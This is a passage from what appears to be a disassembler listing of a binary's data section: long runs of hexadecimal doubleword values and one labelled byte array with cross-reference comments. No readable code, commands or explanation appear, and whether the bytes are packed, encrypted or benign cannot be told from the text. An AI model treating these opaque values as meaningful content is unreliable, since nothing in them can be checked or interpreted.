		dd 214C8F1Eh, 0CF0239EBh, 253FFFDBh, 0F11C41F9h, 310F5E4h
		dd 0AF9D2BB0h, 5808E78h, 50C0E4B1h, 5BF6F0F7h, 627D0EA3h
		dd 3E824796h, 8842B416h, 31D27741h, 86393038h, 31A8BF1Dh
		dd 9EC31500h, 0AFC779h,	47BB56A2h, 0B501B846h, 0FC840624h
		dd 1845AB09h, 410FBA4h,	0ECB37670h, 999F20DAh, 15F24Ah
		dd 0E3C53F6Bh, 554FDEC1h, 480E3C03h, 0A8D6E676h, 2482446Ah
		dd 809C71D5h, 73459F4Ch, 60C1C7A0h, 41816C37h, 9CA23850h
		dd 0F8A72498h, 40DC2970h, 17B23629h, 0FC93D400h, 0CD3DE274h
		dd 0C07050ABh, 54D60E37h, 1AE34B59h, 190E90C1h,	73BBBA9Ah
		dd 79CFA000h, 0EF9C501h, 29F2A369h, 468389B8h, 1C3C0586h
		dd 0C4AB77C1h, 441F02h,	12F3814Ah, 0A2030BBAh, 0AD71F9FDh
		dd 0E003D237h, 0E20520Ch, 0E6D2B8CFh, 0A62C94E0h, 2200764Fh
		dd 8A7C8DA4h, 0F03F4E02h, 0FDB801BDh, 0E365DBD4h, 81FC4826h
		dd 0A9DAF61Fh, 40B86F08h, 3B4B35A0h, 185F8900h,	334F92DAh
		dd 63D201C5h, 0FF3F49E4h, 3C40EE46h, 24914110h,	11F77080h
		dd 8671E3B0h, 0D9EF20h,	0DBF59F48h, 133F58FDh, 0F9360907h
		dd 0A019E22Dh, 511D8270h, 8FD43D70h, 5FB8EF92h,	0ECCD07E0h
		dd 68900059h, 651E7609h, 28C5C87Eh, 981F16E8h, 96C74907h
		dd 1F5F9471h, 4CBFA2E0h, 0D68F5439h, 5EE24CABh,	98205446h
		dd 7840003Bh, 69E15F38h, 0C800FF93h, 0DBD19AD0h, 0F17B4A8Ch
		dd 8850E821h, 9CD8516h,	900125A4h, 5CCF6400h, 0A880DF4Eh
		dd 3C9D0003h, 0CC449BFh, 7E06C706h, 0BB9FE288h,	0C8B401D1h
		dd 8F2BDEB8h, 7555C494h, 0F0883A67h, 0FB49E241h, 3AFC1E0h
		dd 36CD5DDEh, 0EBF0D172h, 882648B7h, 88124AEh, 8ECA1DE3h
		dd 4DA4A06Eh, 798C5001h, 2FA3E092h, 1034A1D9h, 0D4A853F3h
		dd 4DE4030Fh, 15D0CB2Ah, 7510D479h, 534B00D5h, 0D8A43718h
		dd 1D2C2C31h, 0FE8E02D4h, 0B060EDFDh, 200AC802h, 88AC6087h
		dd 0B54D4E09h, 0F2DA80E4h, 308F670Eh, 93397400h, 54C522C7h
		dd 284A6077h, 6BFFCD59h, 0E9974600h, 0B4D0E834h, 1DB70E41h
		dd 0FB02EDC0h, 5D00FE68h, 32DB582h, 31ABD293h, 0BFC0CF64h
		dd 38B33830h, 0D6C424h,	0D5350CCEh, 5E188288h, 0D11CC605h
		dd 98405B3Bh, 97F6FA92h, 75941E2Fh, 9CE6C01Fh, 0FFBEB728h
		dd 7C6D040Fh, 29CCC031h, 4BB02D8h, 0C5151F55h, 247740A6h
		dd 4804F2DBh, 53006484h, 0BB2226E1h, 0C0BAAB7Ch, 3256C914h
		dd 93007DE2h, 4E57F45Dh, 9A94EAA9h, 65C482FCh, 8051EF34h
		dd 0F80B96FBh, 0AA26004Bh, 2D8670BBh, 280C7667h, 617F1340h
		dd 71EBE412h, 7A01F71h,	7E0F02E7h, 0B484C060h, 1F608083h
		dd 0C37AD362h, 78B3CB24h, 7B27AE40h, 0B9151292h, 0A81E88h
		dd 0CDD0F56Eh, 610BA1F9h, 35CF8EFEh, 55588008h,	0F8EB1C28h
		dd 0EF014FE2h, 0FC291B67h, 0F84EF185h, 304F8984h, 79F635C3h
		dd 3DC40017h, 68521B53h, 82EC2944h, 0B4182CB1h,	252B62A9h
		dd 6C20B075h, 0BFE4493Dh, 5659CE0Bh, 8FEC88ECh,	57009513h
		dd 0A51171B4h, 580B14ACh, 14024CDAh, 0E21819E5h, 48C432h
		dd 62E63DB8h, 218FFBDEh, 92442D06h, 397972ACh, 7B9D3859h
		dd 0D7D3803Dh, 0F18627CBh, 2CFDD426h, 0E9898780h, 45764Eh
		dd 7EC3C2C0h, 706A9ECAh, 0ACA35205h, 94305778h,	8D56C35h
		dd 561E1D8Eh, 9C1842h, 0A4E47289h, 6E234400h, 0F662C7FEh
		dd 4C9700CAh, 3ED449C2h, 9E00E046h, 0B4A6C4F9h,	130168FCh
		dd 415AB776h, 54C7D5C8h, 0F55C3027h, 0E03AC899h, 390B47B1h
		dd 5FE80068h, 5885774Dh, 0B8FA767Dh, 11568F02h,	600EA2B1h
		dd 2276F9Fh, 6E6757Eh, 4E0C8E0h, 1A4C58CDh, 9E6805D0h
		dd 0D8C03FEAh, 48942661h, 59089411h, 9E40B3A2h,	10162FF5h
		dd 84523D12h, 0C6004F96h, 9F349377h, 5D73A900h,	9EBBD322h
		dd 0BA4D7B42h, 852009F8h, 0D0428CBEh, 0DBD7B440h, 80B86A59h
		dd 0AA77F756h, 0BC064C73h, 0E6DF904Dh, 0BFEA00BCh, 11091E0Fh
		dd 30A2FC1Eh, 0E572B680h, 2CF2DE45h, 493C1FE0h,	6098010Ah
		dd 0A83ABCC7h, 0BD423DFCh, 6D69A980h, 0AE00757Fh, 0BA08CA21h
		dd 0EDEB4CCh, 0FCAC54E6h, 4AE157C2h, 2500F0C4h,	3275138Ah
		dd 2864F2h, 0F96F1234h,	2D03421Eh, 80A7D03Eh, 80E071CAh
		dd 0F04B73h, 6E3548B4h,	1B039D6Fh, 0E9980A01h, 4C9CCFCBh
		dd 1CEDAF8h, 0E9669FEh,	0D6189ECDh, 0A64F407Fh,	29D5029Bh
		dd 87DEDBCBh, 88A039C3h, 0E57425CEh, 1E3E0200h,	7D3F552Bh
		dd 81F8D7h, 1BFAD377h, 0BA4591D1h, 0C8246E00h, 0E89DE337h
		dd 2BF53C41h, 49F1EA00h, 0C1FFA629h, 9F35C700h,	0AE3794F0h
		dd 24EE0A88h, 8020927Eh, 4A48E52Fh, 0C550E0CAh,	3D53B418h
		dd 8586F34h, 14D4E04Bh,	2E198AF9h, 2408077Fh, 60821C4Dh
		dd 0B6FBF808h, 0E6B5F418h, 1560E2FAh, 4CEB2BC6h, 50A97099h
		dd 2B1D5864h, 33B71501h, 32F95A78h, 403808A1h, 0E0D56118h
		dd 35391F83h, 0A68ABE6h, 60308251h, 29133255h, 0DAB58B2Ch
		dd 0EFC36E02h, 149C9ED5h, 34CB03D8h, 0D8A37586h, 80053A15h
		dd 8A298268h, 209531B4h, 0BB15ADBDh, 8264E491h,	30CA4738h
		dd 4A2BB8B5h, 0B281182Ch, 25DAE1F2h, 12D51C20h,	10890C22h
		dd 87C044BAh, 0B9A140C6h, 0BEF5008Ch, 29AE8AE7h, 1A00FADCh
		dd 5AFB0206h, 0A58C4B05h, 9170B7ECh, 80B58933h,	0F09E83A0h
		dd 4CD014h, 0B0FC8E8Bh,	0CE767AFAh, 601DDAE8h, 0F08AD664h
		dd 98C4487Dh, 34304936h, 0ECEE9086h, 5AFA0EC5h,	9A80DD61h
		dd 6B2BB224h, 0EED0B950h, 0D667B314h, 0CD31B150h, 0BB48541Ch
		dd 0A0BA29A3h, 23D0884Ch, 7400A160h, 0CE8AE60Bh, 389007F3h
		dd 439BA167h, 80C9CA7h,	10A2F1E7h, 1F977C33h, 6756D27h
		dd 20C2D707h, 325AE800h, 18415121h, 4433005Bh, 3582F1D0h
		dd 7A017462h, 51E00FB9h, 4BE0037Ch, 412E0765h, 0F0C2EBF1h
		dd 1AC8A927h, 8758A763h, 0C778018Eh, 46B50CAFh,	1833FFD7h
		dd 0BF3B60FFh, 8D4FC0A8h, 810893EEh, 8273FFC6h,	0BE34CA61h
		dd 0C836605Dh, 73477DDAh, 41083A35h, 4F912701h,	0D5D0E132h
		dd 0F7584CCFh, 0B1810085h
		dd 4FFAFD5Dh, 876A1D15h, 6889874h, 0A7862AA8h, 43A1031Ch
		dd 693B0E39h, 0E2F110ABh, 8F385897h, 39928331h,	0C1F0B7C6h
		dd 5E5805A3h, 20982017h, 0DBA9FF18h, 0BC08940Fh, 812A0B69h
		dd 589550BAh, 3865AC41h, 0A6EC07D0h, 59A73F34h,	0B81C178Fh
		dd 0EFA16100h, 0A8A5375Fh, 0A6A39F0Fh, 8050831Fh, 391542ABh
		dd 0E8A3A9Bh, 64481EFBh, 78DA81D9h, 0A1B88BCDh,	3B040756h
		dd 184A9107h, 41495AE2h, 609F7733h, 642445C1h, 275860D7h
		dd 4F301570h, 4BE158DBh, 775F15F7h, 85DDBCB8h, 4029F025h
		dd 2AE019Ch, 3CACF760h,	92E6801Ch, 392129F0h, 575F18F3h
		dd 0EB973095h, 0B6382CA6h, 1B7A2F2h, 65CA3D41h,	414628D7h
		dd 0F879EC88h, 0E515A9BAh, 8760DB1Ch, 9CF6D56Ah, 8612841h
		dd 301B188Ch, 105D4047h, 8AFAC817h, 54BBC502h, 5D2090ABh
		dd 68C32AB9h, 0A1810A80h, 0E03418CCh, 0FE7B2892h, 0AEE8C0A4h
		dd 0DB9B1805h, 0AC2C693Dh, 0BF130A93h, 81C06DACh, 9AD19971h
		dd 7788405Dh, 15524DE2h, 6BEC9DCh, 28D1931Ch, 0ECDC72E1h
		dd 0A565F892h, 86C09FB8h, 6866F8D4h, 302A0109h,	7210960Eh
		dd 39A33BD5h, 212E6305h, 0C81030F8h, 0AD54CC66h, 43034184h
		dd 40576416h, 0DCE84292h, 0FFFFD81h, 6131823Ah,	65154BB1h
		dd 4E9F831Ch, 0A11AAFC6h, 38F8C581h, 30110E50h,	0A12907CDh
		dd 44999489h, 0C74E49C0h, 0AC6B5536h, 0FAD1D0FBh, 3428485Fh
		dd 7B87924h, 0C0A055B7h, 1C76EABAh, 4CAEBB14h, 0CC8DA03Ch
		dd 43902801h, 20E1038Ch, 157B0E40h, 0AA9B0800h,	0B93AC67Ch
		dd 1B1C3C8Bh, 1022FD7Ch, 0A4DE53C0h, 48C4579Ah,	0CC829D01h
		dd 1A4457Bh, 96739A9h, 0DB2100D2h, 6B0A079h, 5AC62BACh
		dd 0B2B30350h, 494E648h, 6C83C741h, 1132A1FBh, 0B8C07432h
		dd 5F12AC96h, 456130C7h, 0EAFB1BD0h, 0A9B8C649h, 0CF0098E4h
		dd 1F5AC5A4h, 0FACB60h,	97677C63h, 0F770B4DAh, 70377826h
		dd 9860FB70h, 0B6752472h, 0B8130098h, 0C1C69B12h, 6D1ACC16h
		dd 0F23A9300h, 2C9ABE21h, 0B409ECBh, 3400FE3Dh,	0B768450Ah
		dd 9C3A9124h, 68ACA51Dh, 8092650Ch, 0C976002Ch,	7AE6AB85h
		dd 9B615CA9h, 7B0B0F10h, 722E9E0h, 0EC1C8976h, 0E5B7D02Ah
		dd 0CB0E65C8h, 80F5CC17h, 223967BFh, 8923079Ah,	417747A6h
		dd 40323DF1h, 0A2C42FEFh, 17A0841Dh, 1B1994Fh, 77EDE3CFh
		dd 74A9D970h, 33841D7Ah, 305E802Ah, 0E4A3F590h,	3D60C9F8h
		dd 195F0590h, 0AAB500CCh, 0AFD59AC0h, 30A83191h, 0BC71B237h
		dd 9018A390h, 0A960FBEFh, 70330096h, 7405B309h,	7698B0C9h
		dd 189D78B5h, 8B845C1h,	331727A5h, 2B0E3590h, 0A4128717h
		dd 0F84D6950h, 5B650EC1h, 8685C7B2h, 0EF6C2140h, 0B8BBD4DBh
		dd 0F905F00h, 0C97743ADh, 70310E48h, 2500A949h,	0CB350E89h
		dd 0CA1F0572h, 0A759697Ah, 644DDE88h, 0F6325C4h, 905914EDh
		dd 7A691D40h, 77740B49h, 0B528090Fh, 6A304674h,	2B83010h
		dd 2B726B48h, 61D28900h, 0F9C305C0h, 62691477h,	8A18B0CCh
		dd 0DECE48E0h, 88472081h, 7707FA47h, 2D660FC0h,	0BDA81FE9h
		dd 0FF8986C7h, 0D0DDC074h, 10AF0CCCh, 711F1C6Ch, 0C0550109h
		dd 41C80DC5h, 207D108Ch, 48068620h, 0F509E977h,	8BE60A8h
		dd 0C9942049h, 65CDE51Dh, 0A6E41839h, 0C0045F90h, 2C20A120h
		dd 0FA78EC69h, 2FA42901h, 508425CBh, 7D6688Fh, 56E58983h
		dd 2C1485C0h, 1F4C674h,	24B6245Ch, 0C20A202Eh, 0F601B472h
		dd 7EC92876h, 60892C20h, 81492073h, 4F39945Ah, 959A864Ch
		dd 3409846h, 0E92EB09Fh, 201E54C3h, 8900AECFh, 92AC6DEh
		dd 24971E40h, 28CC40E9h, 710EADA9h, 10BF2918h, 74ED5388h
		dd 476800C1h, 0EF099597h, 8400492Bh, 9B89798Ch,	1DC5C875h
		dd 879D7D93h, 0A29AA086h, 0C140ED21h, 90A0C232h, 0E0E5D77Ah
		dd 0CB002A8Ch, 7607C085h, 23BF849h, 0BE7025CAh,	14608975h
		dd 93FEA5C9h, 6028C5E8h, 4A308065h, 44CD708Bh, 618571CAh
		dd 0B07E20A7h, 1090D775h, 0D824A92Fh, 890AE00Bh, 3048478h
		dd 0DC8B7B0Dh, 82581F02h, 0AC40DAACh, 4E01B44Fh, 7123A5C0h
		dd 0BAD5E97Ah, 7C6F1820h, 0BD452853h, 0AC900D4h, 5B897A72h
		dd 0A9192D64h, 0DD18AF5Dh, 6E092085h, 52FC0DBCh, 12DE108h
		dd 82C26DC9h, 41A95EF0h, 70845C04h, 87D02765h, 2F55C030h
		dd 0FB4C3249h, 0F76D1820h, 9385140h, 360EA5CBh,	672B1C02h
		dd 4BCC1C60h, 3BD50C6h,	0FE330030h, 4997E974h, 0B048E5CAh
		dd 17850934h, 0D38403A8h, 7A9818B3h, 60D7D059h,	66480498h
		dd 93007408h, 0BB4929BCh, 3109286Eh, 5A10C8B0h,	0BA45D473h
		dd 559A9600h, 0A925C99Eh, 2080F581h, 0E928CAB2h, 710010F2h
		dd 0C60FFD69h, 74217FC5h, 39191FC1h, 16C8002Ah,	0C26E920h
		dd 84C09E8h, 73B50288h,	0DE55973Ah, 6773C6Fh, 0DB45CA47h
		dd 7724C83Eh, 8512A8D9h, 9109F407h, 0F58900AFh,	4D359ABFh
		dd 0E3C034AAh, 5239CD9Dh, 6F1390E2h, 1409CFE5h,	2F8001A4h
		dd 742070F2h, 83E4976h,	4E5B0180h, 6309EA87h, 0A5448F90h
		dd 0BC021C74h, 0C005ACE5h, 0AE07518h, 8B8EB961h, 58264F3Ch
		dd 78CFE003h, 7AE365AFh, 776B3470h, 0A143670Ch,	0D258D7CFh
		dd 4868A4C9h, 898B4E1h,	0A8DF4026h, 0F0F39D0Ah,	700F3513h
		dd 7B42849h, 432D5807h,	1813CCC9h, 74065D52h, 4C20BE8Fh
		dd 317C3870h, 4F583D5Ch, 0D71089A9h, 0E774800Fh, 9AC97BBDh
		dd 1B65268Ch, 46B18874h, 3804BF0Ch, 7FCC09AFh, 9CA2C969h
		dd 0CC843C8Bh, 65448024h, 3090F59Fh, 26546220h,	13D0FD14h
		dd 29C40247h, 0F041419Fh, 0C53C207Fh, 58A8F932h, 57746870h
		dd 0B7D0F965h, 1D5898D0h, 0B29BB6Bh, 5802268Dh,	7861A225h
		dd 89643081h, 484BB720h, 950048D3h, 0E92A5F73h,	8C752A3h
		dd 29813176h, 10895D6Eh, 6803A830h, 9024B8DEh, 6903D871h
		dd 0E12794AAh, 282016DBh, 0D4EC4844h, 0A0EBF714h, 0C3105A37h
		dd 80349DA7h, 9C8608B8h, 0A018B038h, 4C48A97Ch,	7A13980Dh
		dd 0B69406F4h, 784808F6h, 0BAE900B0h, 0CE697994h, 26F0B09Bh
		dd 1F8C27F2h, 6589392Dh, 3885DA56h, 690CC0D3h, 0CB093479h
		dd 306F0C5h, 1EF18538h,	80DC8330h, 25157D60h, 0B703FF3Eh
		dd 459380FAh, 0ACB1C124h, 0CBC0E0h, 8C4D99F4h, 0A32D1484h
		dd 8D9EEE0Fh, 183AFF3Dh, 0A508F14Ah, 60C01801h,	156D182Fh
		dd 20C67C04h, 40F8AAB1h, 80C0DE06h, 0E2E0082Ch,	20923E07h
		dd 40C0B7A3h, 0FAF49BE0h, 0FA0C3E25h, 9E63F445h, 0A73180F8h
		dd 7874A00Ah, 94080E3h,	0A95700FDh, 0C5DB6546h,	0B9009F69h
		dd 286AC6ABh, 0A4C3A831h, 0E39E0010h, 142BFD1Fh, 0DF004447h
		dd 7F90A0F9h, 0A6320F4h, 0A8ED9EF5h, 4C53602Ch,	2DE4D1CEh
		dd 85671400h, 75C0F9D6h, 3E66155Fh, 0CA058405h,	84CD1A0Dh
		dd 0BE3C2077h, 0D4001DF6h, 871B3F0Bh, 0EFA0D62h, 148B3460h
		dd 7D16DC5h, 4ECBFC8Ch,	0FE1D47A3h, 634460CDh, 773090F3h
		dd 26A7C0E0h, 5E2D0A93h, 98A9B0h, 0C0FB6F56h, 4DE21ABFh
		dd 20166A29h, 0D72A0C04h, 901DC2C4h, 0A286170Eh, 90702780h
		dd 105F6258h, 52FF2Eh, 2D92AAE7h, 0F6EAD97Eh, 0F79D3FE0h
		dd 2A664087h, 1254C024h, 57E05E25h, 0F131C0FAh,	0AA9EE08Eh
		dd 508740D0h, 0DEBF98CFh, 987003A8h, 0C6DBBE2Dh, 1C6B00C7h
		dd 5F03A08Ah, 9B20F512h, 0BC03A70Ah, 5380C0F0h,	24C270E0h
		dd 0C049A05h, 19F0B828h
		dd 0DE2B6E00h, 2D9E267Dh, 0C2DF02E2h
		db 0C0h
byte_530055	db 36h,	68h, 0F8h	; DATA XREF: ___:off_437A24o
					; ___:off_437A3Co
		dd 0FC0AA09Ch, 80AE83D2h, 95CE0800h, 3A29608Fh,	3E0E8D77h
		dd 7BA7146Eh, 0D1CD40A2h, 0B9F8F4DAh, 0C12808D1h, 0B454E7EBh
		dd 272824h, 0E0C098A1h,	9D9CBE1Dh, 3AC06F57h, 660304BFh
		dd 408338C0h, 0E71AD8AEh, 831893B3h, 0B8083741h, 8E67593Ch
		dd 6C608A38h, 0F64E90C5h, 52D051Ah, 671E24EBh, 944AD120h
		dd 0B587106Ch, 29EDE883h, 40649F95h, 17A10CB8h,	0FC8C1451h
		dd 8C90CEAFh, 99FC6012h, 74EA882Ch, 77DA2096h, 95A0C712h
		dd 0A0241014h, 498B8659h, 0E80AC8E0h, 13F8BC0Dh, 6D240083h
		dd 4D9E2223h, 0F8F89528h, 2534211Eh, 24146953h,	60D5B0F0h
		dd 0F6C231BCh, 206B07D8h, 86284020h, 4A3EBCBBh,	3A4D07A1h
		dd 8EC0CAA5h, 268D1A1Fh, 58F6A0h, 6D17503Bh, 80C49BD9h
		dd 0F8801D04h, 1362E0BAh, 74DB43Eh, 4BF3D72Ch, 2B6AAF00h
		dd 0A87447FEh, 4490BE00h, 6BB4B1B7h, 0A0511DB5h, 73910E6Dh
		dd 5DF10DDEh, 7CEF110h,	54ACFEC5h, 1F9101Dh, 4F272E11h
		dd 8601C873h, 4403F301h, 0F212D387h, 3A3013F0h,	0F601B4B3h
		dd 7C33802Ch, 0BFC7302Bh, 0F4FF03Ah, 38A630Bh, 0E0BDC6B9h
		dd 8038D3h, 0BEA895F3h,	520B49B3h, 27401307h, 45537353h
		dd 0C57CC151h, 745B33F0h, 8BD3181Fh, 39B7280Fh,	0AB934400h
		dd 0BD534B3Ch, 0D838C6DDh, 78001892h, 6BAF4DB0h, 3322807h
		dd 0F231BCADh, 0B2A1C872h, 0DC2EED0Bh, 0ECF998A8h, 92F01DBBh
		dd 4038BA00h, 29F57457h, 83961B2h, 9B034E72h, 0A7105248h
		dd 0B77E6F90h, 7BA202B0h, 7416AD57h, 0F084DDE1h, 20DEA6D7h
		dd 7639A000h, 0FA135F7h, 9FFC377Bh, 0EC91781h, 0DBA3F175h
		dd 6E6097A0h, 0CCA62280h, 57403838h, 750BE503h,	354D2B7h
		dd 74AA4518h, 2000BFD7h, 1BA781F7h, 73A89C1h, 39350267h
		dd 0A6294360h, 9AC0E1E0h, 3C0001E8h, 35377E6Ch,	0BF661Dh
		dd 0CCD22AD8h, 845DB46h, 0CF89B600h, 2F90E803h,	14AC32h
		dd 127D21B9h, 4E535EB6h, 0ADE13F00h, 1B90CBFBh,	0F6263D68h
		dd 0EFDC7780h, 55C30192h, 51EE5324h, 14AB140Ah,	0DE8204C1h
		dd 0E25381C0h, 0DC4B0E8Eh, 0A9452BFBh, 672C70B3h, 1F20C6E5h
		dd 52E3BD8h, 0CBBB380h,	8D9BF68Ah, 0F36DA60h, 0F480C397h
		dd 79EF9047h, 20C00707h, 80FCBEB9h, 0E0C3E938h,	7CB2F63Ch
		dd 49274200h, 0F59DA318h, 0E680001Bh, 0B30740DBh, 122460D9h
		dd 4823ACC3h, 0AA938D02h, 0CE88A06Ch, 42B3ACBAh, 8F9803Bh
		dd 8254EEEDh, 87B9C3C1h, 0ACABBDB0h, 0F9B8C04Eh, 0C3B356EBh
		dd 0C1D59F90h, 6040B580h, 0CE3C0C00h, 0CC901BFBh, 0C8BB0AADh
		dd 813014B7h, 0BC51615Fh, 360E00D1h, 5BF701AFh,	8B145267h
		dd 40F88572h, 70C11012h, 608ACA46h, 0A903C36h, 38882571h
		dd 58490B70h, 54018D59h, 501AE210h, 9BE92134h, 0AEECB654h
		dd 0FBE36907h, 58BCF98Bh, 11E7379h, 14D0242Ch, 0D0CE0B2Bh
		dd 0C93E46CBh, 0B81794C7h, 29F8F5Ch, 0F27C852h,	4B50462Ch
		dd 0C12D7600h, 1405CEE0h, 2A8A5EBh, 0AC3BFE42h,	1757EE20h
		dd 0ACC1D60h, 87EC0615h, 0AC140820h, 0B0DCC7D2h, 30E7C50Ah
		dd 8E4034EBh, 10A496DEh, 0C6091D09h, 2E4C21D5h,	608F3BBFh
		dd 208E1590h, 81C08C75h, 706F84B2h, 0C0A3CE80h,	1F284C30h
		dd 0D8A5C0C6h, 0E89803Ch, 0F45396BDh, 0EEF644h,	0B186A2B3h
		dd 4CCFF851h, 0D3184800h, 4E40313Dh, 4DC7009Bh,	0AE8CDAFAh
		dd 0E4EC02F9h, 0A81B2803h, 2ACA562h, 53D97738h,	803AD278h
		dd 1674B735h, 84FA0001h, 0E362664Bh, 51058DFDh,	33678F38h
		dd 72171841h, 24107350h, 621065F3h, 0F8082B23h,	0E2C0577Dh
		dd 40A20BBDh, 8220C4EDh, 0A02C6064h, 53CA63C2h,	0E4B0D81Dh
		dd 68A09802h, 59EF3033h, 6441D460h, 1D4B5A82h, 766CD78h
		dd 0AA61C3D8h, 3EBFE054h, 0BC01E672h, 4604FA06h, 804B4942h
		dd 29DCE306h, 0A41029BCh, 0DEE00937h, 9644CD3Ah, 0FD627944h
		dd 11F5785Ch, 1E289A86h, 480F1AE4h, 0A0B03B98h,	94973Ah
		dd 334AABB2h, 1252056Eh, 0DFE3601Fh, 4BD9B6C0h,	3382720h
		dd 355828D2h, 1CA07F23h, 55002F7Ah, 0F41854F1h,	5078A197h
		dd 1B206Dh, 6A084235h, 43872084h, 9832790Fh, 952F2114h
		dd 18486F5Eh, 0D7021140h, 53E700FCh, 6E94F069h,	85608F2h
		dd 0EEC0A214h, 0F20BA4A0h, 4720284Eh, 0C108486h, 1405E71h
		dd 0A806A751h, 0DBB4F7B2h, 0C4341E08h, 75F40E8Dh, 2380F60Eh
		dd 5B4AF26h, 0C928B160h, 0E034A4FFh, 7842000Eh,	38435DC8h
		dd 0E70F0B05h, 1F60B2B4h, 0C04C2F14h, 0F46970CBh, 1D78D6C4h
		dd 18AF9E9Ch, 0E0540847h, 0A170F763h, 12D4A103h, 9F43E7C7h
		dd 8774E85Dh, 5832008Ah, 0D8423824h, 68C34A26h,	92F9B41Ah
		dd 40B4B892h, 0F8E00C9h, 67204F87h, 68CDEA99h, 0B704C8BFh
		dd 5332B471h, 0A068B8E8h, 1518C79Ch, 84B4F07Bh,	0A4973415h
		dd 0C36C0DC4h, 0D0086338h, 21EADC27h, 64E40F8h,	0D620190Bh
		dd 58B7624Bh, 9405B934h, 863F828h, 64A47A18h, 56FF1982h
		dd 4640B068h, 8B0810DDh, 0D4718B9h, 40698828h, 3B0017A0h
		dd 0E7C0BF8Dh, 7CF65E9h, 0F8692C1h, 770740E6h, 0D042CA7Dh
		dd 13B57F00h, 9298D32Dh, 79026601h, 7823F7A8h, 0B23C6818h
		dd 999882EEh, 0E0F0C692h, 529DD7ADh, 7E73146Ch,	0A65744C3h
		dd 77501962h, 0D8149BCAh, 609CA73Fh, 0E70678AEh, 0C0118F2Fh
		dd 31817EC5h, 822CF329h, 0A438E629h, 8064B8C9h,	0C6E91079h
		dd 54638B6h, 0CF27D725h, 6E723C30h, 29A460E9h, 0F71B5926h
		dd 67DCD81Fh, 0F27A3800h, 38BF8F1h, 78181E64h, 249B192Eh
		dd 78D8082Bh, 0B35E1601h, 0B450D5A1h, 3CA872B9h, 0E2033457h
		dd 0E987B018h, 108EE6A7h, 70FFF031h, 0BB0354D5h, 2058780Ch
		dd 6359106Dh, 0A83D0888h, 4C7298E1h, 9052574h, 8CF31C2Bh
		dd 0E05DD81Ch, 0E03EA708h, 6B25C92Bh, 0A98A020h, 0C7D7CF87h
		dd 0A26F50B0h, 69FEEE10h, 8EAA601h, 1CCBE7D7h, 7097394Fh
		dd 602A520h, 0B8AC1C43h, 6EB03B9Dh, 0AFFC417Bh,	3BF0A34Ch
		dd 3C182B12h, 6C0E7401h, 288BAF7Bh, 0FA005C46h,	0F1CEEDF8h
		dd 9809D860h, 56A85652h, 60064837h, 699621DEh, 6B502614h
		dd 7414029Ch, 38B4E48Ah, 7C30DFB3h, 4C8631E7h, 0A97F42Dh
		dd 38E2A731h, 0DA23C030h, 66883A2Fh, 0C3B73946h, 0C7027856h
		dd 0A10DA038h, 744EC601h, 515FA020h, 0E00AEC9Ch, 811C9106h
		dd 0A6045947h, 0D7A84BE3h, 41EEEB28h, 0A2F8E402h, 435906DDh
		dd 0A423FDA4h, 9989174h, 0F5AAC0h, 853DA657h, 0B887D4E2h
		dd 80DD5105h, 1403F8A2h, 0C808E556h, 18F7562h, 0B8860582h
		dd 188420D1h, 50390371h, 9A6ADA7Bh, 0B8CB3CEBh,	188BD5D9h
		dd 0AB7018D1h, 40427907h, 51BBCA07h, 0B141C923h, 0B8E2CB28h
		dd 18706C44h, 60D52141h, 340EF362h, 793BD1A2h, 418A1FB8h
		dd 401C8ADAh, 3E24AA63h, 2C05960h, 75BFC35Eh, 814610h
		dd 0A71D45D2h, 189A57DFh, 50CD8622h, 0C30EA2BAh, 8A7FE690h
		dd 13C06830h, 63201EE5h, 0DC298DEh, 39B0C3D8h, 2962883Fh
		dd 0B68018DFh, 9D2B0EA8h, 39B780Bh, 10CA65DCh, 80C62B3h
		dd 10B6E6E0h, 3FA40050h, 60F5E08h, 0B400E1A5h, 540D38CEh
		dd 0E6AFDA8h, 295A97EAh, 0BB5C04E1h, 559C60A5h,	96808B0Fh
		dd 84710024h, 0DDA7C1h,	16120409h, 0B66E5EAAh, 0F6DC9C17h
		dd 40D3C40Eh, 7313CEBCh, 3EF70E08h, 9DE09216h, 64C2EE58h
		dd 1A7B0A00h, 0D78CBACBh
		dd 0C9CA03A4h, 6FC453FBh, 8D204980h, 3DA7EE03h,	0E824BDBCh
		dd 18A94B06h, 0D8CC1A7Dh, 35759A40h, 6F679D00h,	9E71721h
		dd 0E17B1Eh, 6B2FDF30h,	8ED42456h, 5BD2EB00h, 0ED5D2C1Ah
		dd 0CF553B7Ah, 97D60380h, 0F57E1704h, 0CA0D4900h, 0ACA28215h
		dd 2FE0034h, 0B041F5Fh,	40012939h, 0BD51593Ch, 0AC40616Eh
		dd 13F06AAh, 660779E0h,	6EB5F011h, 0AD3DE4C3h, 979EB800h
		dd 0F17D5D2h, 6336F12Eh, 0DC8A6AE0h, 4B3EA49Ah,	441600DFh
		dd 43CC89E5h, 0A1020631h, 525B39ABh, 6A00DB7Ch,	3D59C2BBh
		dd 0F6A60C8Eh, 0D21B1DB3h, 49EB007Ah, 26FC4377h, 0AAED991Ch
		dd 8A6EE43h, 36A8C8BAh,	0FA6107FDh, 0B0E128F5h,	10012774h
		dd 44C73Ah, 0BD2433A8h,	5D81E4Ch, 0B6EB85C2h, 0E30C0F17h
		dd 0ABC72823h, 9970A2E0h, 0F30FE5F8h, 1425726h,	6916953Ch
		dd 0D7E2D0h, 7262A802h,	0CA58DBD4h, 8784233Bh, 0F0B55FD1h
		dd 678680BFh, 669B19h, 20F504C7h, 3E905DA6h, 8EB81F00h
		dd 0A44FA73Dh, 0A2E0074Ah, 0C0A88092h, 707114AEh, 8F3FD300h
		dd 51ADE58Ch, 0BC6800A0h, 2077C37h, 3C00D509h, 6B322472h
		dd 1FC52A77h, 1E295B9Dh, 1FD080EEh, 4818A0D3h, 28AA2200h
		dd 89E46AECh, 31A1E6ADh, 33291666h, 0F66EFCCAh,	0C7C4C500h
		dd 0DDC831A3h, 14AB7CE5h, 0AEB52D3Ah, 2986FF0Ch, 7B205628h
		dd 738418CCh, 8B015ED3h, 0B3283A62h, 41330090h,	0B7070DE7h
		dd 0D1274CC1h, 0A2E4807Eh, 0F165ABh, 0B03A77FDh, 0AEA0A468h
		dd 61003978h, 0F927BBAFh, 491C1Fh, 694354C8h, 19FACD53h
		dd 741AA400h, 0F705E03Eh, 0F58E0093h, 34284DA6h, 4000A089h
		dd 647C5758h, 1EEA3D04h, 873A804Fh, 306FED14h, 8456C6DEh
		dd 8A908BF0h, 3E360733h, 24E2C006h, 0A5EC000Ah,	9FF2F9CFh
		dd 2E00CA76h, 0B6EF2513h, 135E63Fh, 914B29BEh, 0FCCE785Eh
		dd 0D8F8F9F4h, 0FA74137Eh, 79C2F300h, 0C19C7319h, 2968076Fh
